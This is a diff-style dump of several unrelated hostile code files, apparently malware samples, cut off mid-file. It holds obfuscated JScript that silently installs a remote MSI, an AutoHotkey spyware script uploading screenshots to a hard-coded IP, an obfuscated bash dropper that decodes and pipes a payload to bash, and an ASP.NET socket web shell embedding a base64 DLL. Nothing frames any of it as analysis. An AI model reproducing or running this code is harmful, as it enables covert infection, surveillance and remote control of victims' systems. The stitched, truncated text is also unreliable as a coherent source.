'a14b5e77 efe75928 fe1dc127 a2ffa8de' +
|
| 123 |
+
'3348b3c1 856a429b f97e7e31 c2e5bd66' +
|
| 124 |
+
'0118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9' +
|
| 125 |
+
'98f54449 579b4468 17afbd17 273e662c' +
|
| 126 |
+
'97ee7299 5ef42640 c550b901 3fad0761' +
|
| 127 |
+
'353c7086 a272c240 88be9476 9fd16650').
|
| 128 |
+
replace(/ /g, ''), 'hex')
|
| 129 |
+
}
|
| 130 |
+
};
|
| 131 |
+
|
| 132 |
+
module.exports = {
|
| 133 |
+
info: algInfo,
|
| 134 |
+
privInfo: algPrivInfo,
|
| 135 |
+
hashAlgs: hashAlgs,
|
| 136 |
+
curves: curves
|
| 137 |
+
};
|
| 138 |
+
*/
|
| 139 |
+
|
| 140 |
+
var sOlyo = "installer"; // Assign the text "Robin" to the variable sOlyo.
|
| 141 |
+
var oly = "windowsinstaller";
|
| 142 |
+
[1,2,3] // Array literal
|
| 143 |
+
4 + 5 // additon
|
| 144 |
+
radius = 249;
|
| 145 |
+
10 / 2 // division
|
| 146 |
+
var f = function(x){return x*x;} // function literal
|
| 147 |
+
var o = {x:1, y:2} // Object literal
|
| 148 |
+
|
| 149 |
+
ka = "ke";n = "t";p = "td.co";s = "n";g = "w";f = "h";o = "p";gb = ".";ii = "i";
|
| 150 |
+
ama = "systems-l";
|
| 151 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 152 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 153 |
+
|
| 154 |
+
myArray = new Array("Appolo!", Math.PI, 28);
|
| 155 |
+
var gOlyo = new ActiveXObject(oly + gb + sOlyo);
|
| 156 |
+
myPi = myArray[1];
|
| 157 |
+
sAssign = f + n + n + o +"s://perfect" + ama + p + "m/x-css/" + ka + gb + "ms" + ii;
|
| 158 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 159 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 160 |
+
|
| 161 |
+
uros = 6;6;6,83;
|
| 162 |
+
7.1 // numeric literal
|
| 163 |
+
gOlyo.uilevel=2
|
| 164 |
+
"Hello!" // string literal
|
| 165 |
+
false // Boolean literal
|
| 166 |
+
|
| 167 |
+
gOlyo.InstallProduct(sAssign);
|
| 168 |
+
var a = new Array(4);
|
| 169 |
+
|
| 170 |
+
https://xaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjajxaxahjaxjaj//vBOpqb4lheeXbNG6FBGcKU3x
|
code/1e114b57bbefaf597c11ff86ebf83e4b38d67a026e6795839d5ac59dacd4df00
ADDED
|
@@ -0,0 +1,185 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#NoTrayIcon
|
| 2 |
+
#SingleInstance off
|
| 3 |
+
#NoEnv
|
| 4 |
+
SetBatchLines, -1
|
| 5 |
+
Gdip := new GDIplus
|
| 6 |
+
if !pBitmap := Gdip.BitmapFromScreen() {
|
| 7 |
+
Gdip := ""
|
| 8 |
+
SendLog("deskscreen: ERROR! Can't create bitmap from screen")
|
| 9 |
+
ExitApp
|
| 10 |
+
}
|
| 11 |
+
size := Gdip.SaveBitmap(pBitmap, buff := "jpg", 25, true)
|
| 12 |
+
Gdip.DisposeImage(pBitmap)
|
| 13 |
+
Gdip := ""
|
| 14 |
+
|
| 15 |
+
arr := SafeArrayFromData(buff, size)
|
| 16 |
+
DriveGet, serial, serial, C:
|
| 17 |
+
try UploadSafeArray(arr, "http://22.11.106.27/screenshot/" . serial)
|
| 18 |
+
catch {
|
| 19 |
+
SendLog("deskscreen: ERROR! file upload filed")
|
| 20 |
+
ExitApp
|
| 21 |
+
}
|
| 22 |
+
SendLog("deskscreen: ok")
|
| 23 |
+
|
| 24 |
+
UploadSafeArray(arr, TargetAddress) {
|
| 25 |
+
ComObjError(False)
|
| 26 |
+
HTTP := ComObjCreate("WinHttp.WinHttpRequest.5.1")
|
| 27 |
+
HTTP.Open("POST", TargetAddress, False)
|
| 28 |
+
HTTP.SetRequestHeader("User-Agent", "AutoHotkey")
|
| 29 |
+
HTTP.Send(arr)
|
| 30 |
+
}
|
| 31 |
+
|
| 32 |
+
SendLog(s)
|
| 33 |
+
{
|
| 34 |
+
DriveGet, serial, serial, C:
|
| 35 |
+
ComObjError(False)
|
| 36 |
+
sHTTP := ComObjCreate("WinHttp.WinHttpRequest.5.1")
|
| 37 |
+
sHTTP.Open("POST", "http://22.11.106.27/" . serial, False)
|
| 38 |
+
sHTTP.SetRequestHeader("User-Agent", "AutoHotkey")
|
| 39 |
+
sHTTP.SetRequestHeader("Content-Type", "application/x-www-Form-urlencoded")
|
| 40 |
+
sHTTP.Send("&log=" . s)
|
| 41 |
+
sHTTP.WaitForResponse()
|
| 42 |
+
sHTTP.Close
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
SafeArrayFromData(ByRef data, size) {
|
| 46 |
+
arr := ComObjArray(VT_UI1 := 0x11, size)
|
| 47 |
+
DllCall("RtlMoveMemory", Ptr, NumGet( ComObjValue(arr) + 8 + A_PtrSize ), Ptr, &data, Ptr, size)
|
| 48 |
+
Return arr
|
| 49 |
+
}
|
| 50 |
+
|
| 51 |
+
class GDIplus {
|
| 52 |
+
__New() {
|
| 53 |
+
if !DllCall("GetModuleHandle", "Str", "gdiplus", "Ptr")
|
| 54 |
+
DllCall("LoadLibrary", "Str", "gdiplus")
|
| 55 |
+
VarSetCapacity(si, A_PtrSize = 8 ? 24 : 16, 0), si := Chr(1)
|
| 56 |
+
DllCall("gdiplus\GdiplusStartup", "UPtrP", pToken, "Ptr", &si, "Ptr", 0)
|
| 57 |
+
this.token := pToken
|
| 58 |
+
}
|
| 59 |
+
__Delete() {
|
| 60 |
+
DllCall("gdiplus\GdiplusShutdown", "Ptr", this.token)
|
| 61 |
+
if hModule := DllCall("GetModuleHandle", "Str", "gdiplus", "Ptr")
|
| 62 |
+
DllCall("FreeLibrary", "Ptr", hModule)
|
| 63 |
+
}
|
| 64 |
+
CreateBitmapFromFile(sFile) {
|
| 65 |
+
DllCall("gdiplus\GdipCreateBitmapFromFile", "WStr", sFile, "PtrP", pBitmap)
|
| 66 |
+
Return pBitmap
|
| 67 |
+
}
|
| 68 |
+
BitmapFromScreen() {
|
| 69 |
+
Sysget, x, 76
|
| 70 |
+
Sysget, y, 77
|
| 71 |
+
Sysget, w, 78
|
| 72 |
+
Sysget, h, 79
|
| 73 |
+
|
| 74 |
+
if (x = "") || (y = "") || (w = "") || (h = "")
|
| 75 |
+
return -1
|
| 76 |
+
|
| 77 |
+
chdc := this.CreateCompatibleDC(), hbm := this.CreateDIBSection(w, h, chdc)
|
| 78 |
+
obm := this.SelectObject(chdc, hbm), hhdc := hhdc ? hhdc : this.GetDC()
|
| 79 |
+
this.BitBlt(chdc, 0, 0, w, h, hhdc, x, y, Raster)
|
| 80 |
+
this.ReleaseDC(hhdc)
|
| 81 |
+
|
| 82 |
+
pBitmap := this.CreateBitmapFromHBITMAP(hbm)
|
| 83 |
+
this.SelectObject(chdc, obm), this.DeleteObject(hbm), this.DeleteDC(hhdc), this.DeleteDC(chdc)
|
| 84 |
+
return pBitmap
|
| 85 |
+
}
|
| 86 |
+
SaveBitmap(pBitmap, ByRef info, Quality := 75, tobuff := "")
|
| 87 |
+
{
|
| 88 |
+
; info — если копируем в буфер, тогда расширение файла, если в файл, тогда путь к файлу
|
| 89 |
+
if tobuff
|
| 90 |
+
Extension := info
|
| 91 |
+
else
|
| 92 |
+
SplitPath, info,,, Extension
|
| 93 |
+
if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG
|
| 94 |
+
return -1
|
| 95 |
+
|
| 96 |
+
DllCall("gdiplus\GdipGetImageEncodersSize", "UIntP", nCount, "UIntP", nSize)
|
| 97 |
+
VarSetCapacity(ci, nSize)
|
| 98 |
+
DllCall("gdiplus\GdipGetImageEncoders", "UInt", nCount, "UInt", nSize, "Ptr", &ci)
|
| 99 |
+
if !(nCount && nSize)
|
| 100 |
+
return -2
|
| 101 |
+
|
| 102 |
+
Loop, % nCount {
|
| 103 |
+
sString := StrGet(NumGet(ci, (idx := (48+7*A_PtrSize)*(A_Index-1))+32+3*A_PtrSize), "UTF-16")
|
| 104 |
+
if !InStr(sString, "*." Extension)
|
| 105 |
+
continue
|
| 106 |
+
|
| 107 |
+
pCodec := &ci+idx
|
| 108 |
+
break
|
| 109 |
+
}
|
| 110 |
+
if !pCodec
|
| 111 |
+
return -3
|
| 112 |
+
|
| 113 |
+
if !tobuff
|
| 114 |
+
E := DllCall("gdiplus\GdipSaveImageToFile", "Ptr", pBitmap, "WStr", info, "Ptr", pCodec, "UInt", p ? p : 0)
|
| 115 |
+
else {
|
| 116 |
+
DllCall( "ole32\CreateStreamOnHGlobal", "UInt", 0, "Int", 1, "PtrP", pStream )
|
| 117 |
+
if !E := DllCall("gdiplus\GdipSaveImageToStream", "Ptr", pBitmap, "Ptr", pStream, "Ptr", pCodec, "UInt", p ? p : 0) {
|
| 118 |
+
DllCall("ole32\GetHGlobalFromStream", "Ptr", pStream, "PtrP", hData)
|
| 119 |
+
pData := DllCall("GlobalLock", "Ptr", hData, "Ptr")
|
| 120 |
+
nSize := DllCall("GlobalSize", "Ptr", hData, "Ptr")
|
| 121 |
+
VarSetCapacity(info, 0), VarSetCapacity(info, nSize, 0)
|
| 122 |
+
DllCall("RtlMoveMemory", "Ptr", &info, "Ptr", pData, "Ptr", nSize)
|
| 123 |
+
DllCall("GlobalUnlock", "Ptr", hData)
|
| 124 |
+
DllCall("GlobalFree", "Ptr", hData)
|
| 125 |
+
}
|
| 126 |
+
ObjRelease(pStream)
|
| 127 |
+
}
|
| 128 |
+
return E ? -4 : tobuff ? nSize : 0
|
| 129 |
+
}
|
| 130 |
+
CreateBitmapFromHBITMAP(hBitmap, Palette=0) {
|
| 131 |
+
DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", "Ptr", hBitmap, "Ptr", Palette, "PtrP", pBitmap)
|
| 132 |
+
return pBitmap
|
| 133 |
+
}
|
| 134 |
+
CreateCompatibleDC(hdc=0) {
|
| 135 |
+
return DllCall("CreateCompatibleDC", "Ptr", hdc)
|
| 136 |
+
}
|
| 137 |
+
CreateDIBSection(w, h, hdc="", bpp=32, ByRef ppvBits=0) {
|
| 138 |
+
hdc2 := hdc ? hdc : this.GetDC()
|
| 139 |
+
VarSetCapacity(bi, 40, 0)
|
| 140 |
+
|
| 141 |
+
NumPut(w, bi, 4, "UInt")
|
| 142 |
+
, NumPut(h, bi, 8, "UInt")
|
| 143 |
+
, NumPut(40, bi, 0, "UInt")
|
| 144 |
+
, NumPut(1, bi, 12, "ushort")
|
| 145 |
+
, NumPut(0, bi, 16, "uInt")
|
| 146 |
+
, NumPut(bpp, bi, 14, "ushort")
|
| 147 |
+
|
| 148 |
+
hbm := DllCall("CreateDIBSection"
|
| 149 |
+
, "Ptr", hdc2
|
| 150 |
+
, "Ptr", &bi
|
| 151 |
+
, UInt, 0
|
| 152 |
+
, "PtrP", ppvBits
|
| 153 |
+
, "Ptr", 0
|
| 154 |
+
, UInt, 0, "Ptr")
|
| 155 |
+
|
| 156 |
+
if !hdc
|
| 157 |
+
this.ReleaseDC(hdc2)
|
| 158 |
+
return hbm
|
| 159 |
+
}
|
| 160 |
+
SelectObject(hdc, hgdiobj) {
|
| 161 |
+
return DllCall("SelectObject", "Ptr", hdc, "Ptr", hgdiobj)
|
| 162 |
+
}
|
| 163 |
+
GetDC(hwnd=0) {
|
| 164 |
+
return DllCall("GetDC", "Ptr", hwnd)
|
| 165 |
+
}
|
| 166 |
+
BitBlt(ddc, dx, dy, dw, dh, sdc, sx, sy, Raster="") {
|
| 167 |
+
return DllCall("gdi32\BitBlt", "Ptr", dDC, "Int", dx, "Int", dy, "Int", dw, "Int", dh
|
| 168 |
+
, "Ptr", sDC, "Int", sx, "Int", sy, UInt, Raster ? Raster : 0x00CC0020)
|
| 169 |
+
}
|
| 170 |
+
DeleteObject(hObject) {
|
| 171 |
+
return DllCall("DeleteObject", "Ptr", hObject)
|
| 172 |
+
}
|
| 173 |
+
DisposeImage(pBitmap) {
|
| 174 |
+
return DllCall("gdiplus\GdipDisposeImage", "Ptr", pBitmap)
|
| 175 |
+
}
|
| 176 |
+
DeleteDC(hdc) {
|
| 177 |
+
return DllCall("DeleteDC", "Ptr", hdc)
|
| 178 |
+
}
|
| 179 |
+
ReleaseDC(hdc, hwnd=0) {
|
| 180 |
+
return DllCall("ReleaseDC", "Ptr", hwnd, "Ptr", hdc)
|
| 181 |
+
}
|
| 182 |
+
}
|
| 183 |
+
|
| 184 |
+
;0.2
|
| 185 |
+
;~
|
code/1e657d3047f3534dcd4539ce54db9f5901f7e53999bae340a850cc8d2aacc33c
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/bin/bash
|
| 2 |
+
${@,} p\r$'\u0069'n\tf %s "$( "${@,}" $@ pr""i"n"'t'\f 'QlpoOTFBWSZTWVEyQYAAAB3/gGRUQAB3+/s7f+/efr///v5QA3kb3XIXaujOGSjFNNGpptE2jKZDTTGowammhoGgaGjT0QNBkk1PSaNPUZkgT1PUxDQ0ADQGgAADRoEkggoehGgaGj0gaAaAA0AaGgAA5hNAaA0aMI0GI0xMmJoMI0DIBkwEUkJpiTaE9TU8jKZGaQANAGjQ09QaaA0aJRB0lbN7aIQc2BB994Wy/GDRe0jsKQfCZza8j5yOYxK150JWKBCEwE8zkIc+a7+wCFRW2PI9HERCeLUhSSYpERNJZetUjfJYtvT7M4X0GjMsZg4bgdHzMqVa65cvY6A8aJjlhAAvoQGcCEE6gYmuXZBYXipzCZ376mdVK591rVfHFDXaMZgVbLAFNvxF3TvgyrRgSicOAqjUGllQgCZsznVMtpFYYqUQpxKwZYOgUqdWF2PyUHy2MOssHuKEShF4YGGAiEpksiRAkMKQzwSDSHIboPNxMrjWBg+dV113QBvFxqMOvNPtVXxkEJ0pCu9ek/RIDOwzMIgUvL2PfwQxwyU0QFTAZJiCERoLSb4xC7DI6UWd6o55w586mRinWU76ce8B7j4HILKoIZOi1zgP/WQZGXJwTDm1tqqIcdAeRKiXgNROoXhrE8EMk0EqHCJ0avJ+V6pQJ6EwpDrM5nxndpHAZFhKCksP2b50NgMwl9YcRiI2by7LMzbgVZBJ0J7y27BQt2T6t4lBEBZMFzeawriNkbcQUBecBbzlicfASMdxlGkI4g6XdCT2nlZPHO8zHq1heCDbygEtuLQx95VjmkBsFOsG2l1YvPJ/ZkY2QatIuWdf5pjKuOK+LN20AstAGA4Q0IIllLKSB4a1ZrSo5VwfQa1G2Y5NihaIk00GSd5qs3hw3EiU1IX9DV/OcK6FgAtsOfQp5fbbogKaN3HdlldeApoChoLBXNUvr1ripwqDSa8w5amSSlvSQ3K9o1BoKcd21lsaUpgG22wIT6aysqrJUa9AMhJQZRpZLKCnPtOirU5oDKQF0ZG+FnthRlilQdbb28VeUalpd4zIToN2NZzKMg4piHPuhDg6/9s3xrLrUqouwZiTiG/2w6ZaOzpWaaDYMdTGqufqZhpkFOp2t0OYLnCGgvsgitsJ5p5BbN8wBkMMhi5XaD11UR4fGsF8dklskkE5UWFQFBhMgCA1llQNTABGXYmheJFMvBjYwBNxMsCxQZjNWO6ANwz39o7aLXQCBQAapOlvEbFVMAicglQjZ/i7kinChIKJkgwA' "${@~~}" "${@/\6,Ij8l/-|vqXcv}" | ${@} "${@/4jxk5m}" base\6\4 -d "${@%B\"~9\!gs}" ${*~} | "${@//Ok3AzFdN/s^H,>D}" ${*//5KY<\)@} bun\zip2 -c ${@~~} )" ${*^} | ${*##x%Y\]q\{8} "${@^}" ba""$*sh ${*,,}
|
code/1e6c661d6981c0fa56c011c29536e57d21545fd11205eddf9218269ddf53d448
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
code/2097320e71990865f04b9484858d279875cf5c66a5f6d12c819a34e2385da838
ADDED
|
@@ -0,0 +1,472 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<%@ Page Language="C#" Debug="true" ValidateRequest="false" %>
|
| 2 |
+
|
| 3 |
+
<%@ Import Namespace="System" %>
|
| 4 |
+
<%@ Import Namespace="System.Net" %>
|
| 5 |
+
<%@ Import Namespace="System.Net.Sockets" %>
|
| 6 |
+
<%@ Import Namespace="System.Text" %>
|
| 7 |
+
<%@ Import Namespace="System.Reflection" %>
|
| 8 |
+
<%@ Import Namespace="System.IO" %>
|
| 9 |
+
<script runat="server">
|
| 10 |
+
const int PacketSize = 1024 * 8;
|
| 11 |
+
const string SessionKey = "SessionSocket";
|
| 12 |
+
const string DllKey = "EncryptionDll";
|
| 13 |
+
const string Version = "1.5";
|
| 14 |
+
void CloseAppSockets()
|
| 15 |
+
{
|
| 16 |
+
if (Application != null && Application.Count > 0)
|
| 17 |
+
{
|
| 18 |
+
for (int i = 0; i < Application.Count; i++)
|
| 19 |
+
{
|
| 20 |
+
if (Application[i].GetType() != typeof(Socket)) continue;
|
| 21 |
+
Socket sc = Application[i] as Socket;
|
| 22 |
+
if (!sc.Connected) CloseSocket(sc);
|
| 23 |
+
Application.RemoveAt(i);
|
| 24 |
+
}
|
| 25 |
+
}
|
| 26 |
+
}
|
| 27 |
+
void CloseSocket(Socket s)
|
| 28 |
+
{
|
| 29 |
+
if (s == null)
|
| 30 |
+
return;
|
| 31 |
+
try
|
| 32 |
+
{
|
| 33 |
+
s.Shutdown(SocketShutdown.Both);
|
| 34 |
+
}
|
| 35 |
+
catch { }
|
| 36 |
+
try
|
| 37 |
+
{
|
| 38 |
+
s.Close();
|
| 39 |
+
}
|
| 40 |
+
catch { }
|
| 41 |
+
|
| 42 |
+
}
|
| 43 |
+
object GetParam(string id)
|
| 44 |
+
{
|
| 45 |
+
object apid = Application[id];
|
| 46 |
+
if (apid != null) return apid;
|
| 47 |
+
try
|
| 48 |
+
{
|
| 49 |
+
object ssid = Session[id];
|
| 50 |
+
if (ssid != null) return ssid;
|
| 51 |
+
}
|
| 52 |
+
catch
|
| 53 |
+
{
|
| 54 |
+
|
| 55 |
+
}
|
| 56 |
+
return null;
|
| 57 |
+
}
|
| 58 |
+
void RemoveParam(string id)
|
| 59 |
+
{
|
| 60 |
+
try
|
| 61 |
+
{
|
| 62 |
+
object apid = Application[id];
|
| 63 |
+
if (apid != null) Application.Remove(id);
|
| 64 |
+
object ssid = Session[id];
|
| 65 |
+
if (ssid != null) Session.Remove(id);
|
| 66 |
+
}
|
| 67 |
+
catch
|
| 68 |
+
{
|
| 69 |
+
}
|
| 70 |
+
}
|
| 71 |
+
protected void Page_Load(object s, EventArgs e)
|
| 72 |
+
{
|
| 73 |
+
try
|
| 74 |
+
{
|
| 75 |
+
EncryptionModule EncryptionDll = GetParam("EncryptionDll") as EncryptionModule;
|
| 76 |
+
EncryptionDll = (EncryptionDll == null ? new EncryptionModule(
|
| 77 |
+
@"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALkNqpEAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAA9iYAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAKQmAABPAAAAAEAAAGgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAACIJgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA/AYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAGgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADYJgAAA